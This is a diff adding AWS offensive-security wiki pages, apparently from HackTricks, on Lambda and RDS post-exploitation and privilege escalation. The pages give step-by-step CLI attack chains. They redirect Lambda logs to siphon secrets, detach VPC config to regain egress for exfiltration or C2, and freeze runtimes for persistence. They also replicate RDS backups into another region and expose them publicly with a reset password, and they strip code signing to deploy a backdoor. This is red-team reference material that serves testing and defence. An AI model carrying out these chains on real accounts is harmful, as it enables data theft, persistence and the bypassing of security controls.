--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
@@ -0,0 +1,56 @@
+# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
+
+## Required permissions
+- lambda:UpdateFunctionConfiguration
+- lambda:GetFunctionConfiguration
+- lambda:InvokeFunction (or rely on existing triggers)
+- logs:CreateLogGroup (often not required if the function role has it)
+- logs:FilterLogEvents (to read events)
+
+## Steps
+1) Create a sink log group
+
+```
+aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
+```
+
+2) Redirect the target function logs
+```
+aws lambda update-function-configuration \
+  --function-name <TARGET_FN> \
+  --logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
+  --region us-east-1
+```
+Wait until `LastUpdateStatus` becomes `Successful`:
+```
+aws lambda get-function-configuration --function-name <TARGET_FN> \
+  --query LastUpdateStatus --output text
+```
+
+3) Invoke and read from the sink
+```
+aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
+sleep 5
+aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
+```
+
+## Impact
+- Covertly redirect all application/system logs to a log group you control, bypassing expectations that logs only land in `/aws/lambda/<fn>`.
+- Exfiltrate sensitive data printed by the function or surfaced in errors.
+
+## Cleanup
+```
+aws lambda update-function-configuration --function-name <TARGET_FN> \
+  --logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
+  --region us-east-1 || true
+```
+
+## Notes
+- Logging controls are part of Lambda’s `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
+- By default, Lambda sends logs to `/aws/lambda/<function>`, but you can point to any log group name; Lambda (or the execution role) will create it if allowed.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -0,0 +1,13 @@
+# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
+
+Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
+
+Requirements: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+
+Example (us-east-1):
+- Invoke: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- Freeze updates: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
+- Verify: `aws lambda get-runtime-management-config --function-name  --region us-east-1`
+
+Optionally pin to a specific runtime version by extracting the Runtime Version ARN from INIT_START logs and using `--update-runtime-on Manual --runtime-version-arn <arn>`.
+
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -0,0 +1,63 @@
+# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
+
+Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
+
+## Abusing it
+
+- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
+- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
+- Region: us-east-1
+
+### Steps
+
+0) Prepare a minimal handler that proves outbound HTTP works
+
+    cat > net.py <<'PY'
+    import urllib.request, json
+    
+    def lambda_handler(event, context):
+        try:
+            ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
+            return {"egress": True, "ip": ip}
+        except Exception as e:
+            return {"egress": False, "err": str(e)}
+    PY
+    zip net.zip net.py
+    aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
+    aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
+
+1) Record current VPC config (to restore later if needed)
+
+    aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
+    cat /tmp/orig-vpc.json
+
+2) Detach the VPC by setting empty lists
+
+    aws lambda update-function-configuration \
+      --function-name $TARGET_FN \
+      --vpc-config SubnetIds=[],SecurityGroupIds=[] \
+      --region $REGION
+    until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+
+3) Invoke and verify outbound access
+
+    aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
+    cat /tmp/net-out.json
+
+(Optional) Restore original VPC config
+
+    if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
+      SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
+      aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
+    fi
+
+### Impact
+- Regains unrestricted outbound internet from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.
+
+### Example output (after detaching VpcConfig)
+
+    {"egress": true, "ip": "34.x.x.x"}
+
+### Cleanup
+- If you created any temporary code/handler changes, restore them.
+- Optionally restore the original VpcConfig saved in /tmp/orig-vpc.json as shown above.
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -89,8 +89,89 @@ aws rds start-export-task --export-task-identifier attacker-export-task --source

 **Potential impact**: Access to sensitive data in the exported snapshot.

+### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+
+Abuse cross-Region automated backups replication to quietly duplicate an RDS instance's automated backups into another AWS Region and restore there. The attacker can then make the restored DB publicly accessible and reset the master password to access data out-of-band in a Region defenders might not monitor.
+
+Permissions needed (minimum):
+- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:ModifyDBInstance` in the destination Region
+- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
+
+Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
+
+<details>
+<summary>End-to-end CLI (replace placeholders)</summary>
+
+```bash
+# 1) Recon (SOURCE region A)
+aws rds describe-db-instances \
+  --region <SOURCE_REGION> \
+  --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
+  --output table
+
+# 2) Start cross-Region automated backups replication (run in DEST region B)
+aws rds start-db-instance-automated-backups-replication \
+  --region <DEST_REGION> \
+  --source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
+  --source-region <SOURCE_REGION> \
+  --backup-retention-period 7
+
+# 3) Wait for replication to be ready in DEST
+aws rds describe-db-instance-automated-backups \
+  --region <DEST_REGION> \
+  --query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
+  --output table
+# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
+
+# 4) Restore to latest restorable time in DEST
+aws rds restore-db-instance-to-point-in-time \
+  --region <DEST_REGION> \
+  --source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
+  --target-db-instance-identifier <TARGET_DB_ID> \
+  --use-latest-restorable-time \
+  --db-instance-class db.t3.micro
+aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
+
+# 5) Make public and reset credentials in DEST
+# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
+OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
+  --group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
+  --query GroupId --output text)
+aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
+  --group-id "$OPEN_SG_ID" \
+  --ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
+
+# 5b) Publicly expose restored DB and attach the SG
+aws rds modify-db-instance --region <DEST_REGION> \
+  --db-instance-identifier <TARGET_DB_ID> \
+  --publicly-accessible \
+  --vpc-security-group-ids "$OPEN_SG_ID" \
+  --apply-immediately
+aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
+
+# 5c) Reset the master password
+aws rds modify-db-instance --region <DEST_REGION> \
+  --db-instance-identifier <TARGET_DB_ID> \
+  --master-user-password '<NEW_STRONG_PASSWORD>' \
+  --apply-immediately
+aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
+
+# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
+ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
+  --db-instance-identifier <TARGET_DB_ID> \
+  --query 'DBInstances[0].Endpoint.Address' --output text)
+mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
+
+# 7) Optional: stop replication
+aws rds stop-db-instance-automated-backups-replication \
+  --region <DEST_REGION> \
+  --source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
+```
+</details>
+
+
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -293,3 +293,67 @@ Some lambdas are going to be **receiving sensitive info from the users in parame



+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
+
+If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
+
+Permissions (one of):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Notes:
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
+
+Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
+
+Prepare a small payload:
+
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+    return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+
+Path A) Remove CSC then update code:
+
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+  aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+
+Path B) Downgrade to Warn and update code (if delete not allowed):
+
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+  --description ht-warn-csc \
+  --code-signing-policies UntrustedArtifactOnDeployment=WARN \
+  --query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+
+Verify:
+
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+
+Potential impact: Ability to push and run arbitrary unsigned code in a function that was supposed to enforce signed deployments, potentially leading to code execution with the function role's permissions.
+
+Cleanup:
+
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```